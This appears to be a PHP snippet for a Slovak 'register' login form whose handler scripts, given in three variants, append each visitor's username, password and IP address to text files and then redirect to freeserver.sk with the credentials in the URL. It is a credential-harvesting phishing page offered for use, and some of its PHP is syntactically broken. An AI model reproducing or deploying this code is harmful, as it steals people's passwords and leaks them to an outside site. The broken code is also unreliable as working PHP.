php formular

<?php
$filename = 'test.txt';
$somecontent = "Add this to the file\n";
if (is_writable($filename)) {
    if (!$handle = fopen($filename, 'a')) {
         echo "Cannot open file ($filename)";
         exit;
    }
    if (fwrite($handle, $somecontent) === FALSE) {
        echo "Cannot write to file ($filename)";
        exit;
    }

    echo "Success, wrote ($somecontent) to file ($filename)";

    fclose($handle);

} else {
    echo "The file $filename is not writable";
}
?>

<form action="spracuj.php" method=post name="loginfrm">
<input name="username" type="text" class="textfield" />
<input name="password" type="password" class="textfield" />
<input type="submit" class="ttl" name="Submit" value="Register" /></form>

<?php
$fp2= $_SERVER["REMOTE_ADDR"];

$fp = FOpen("subory.txt", "a");
$fp3 = 'Nick : ' . "$username" . '>' . 'Heslo : ' . "$password" . '>' . "IP : " . "$fp2" . "/n";
 
FPutS($fp, $fp3);
FClose($fp);
header("location: http://freeserver.sk?login=".$_POST['username']."&password=".$_POST['password']);
?>

<?php

$_POST["username"]
$_POST["password"]

$fp2= $_SERVER["REMOTE_ADDR"];

$fp = FOpen("hesla.txt", "a");
$fp3 = 'Nick : ' . "$username" . '>' . 'Heslo : ' . "$password" . '>' . "IP : " . "$fp2" . "/n";
 
FPutS($fp, $fp3);
FClose($fp);
header("location: http://freeserver.sk?login=".$_POST['username']."&password=".$_POST['password']);
?>

<?php
$fp2= $_SERVER["REMOTE_ADDR"];

$fp = FOpen("subory.txt", "a");
$fp3 = 'Nick : ' .  $_POST["username"]  . '>Heslo : ' . $_POST["password"] . '>IP : ' .  $fp2 . '/n';
 
FPutS($fp, $fp3);
FClose($fp);
header("location: http://freeserver.sk?login=".$_POST['username']."&password=".$_POST['password']);
?>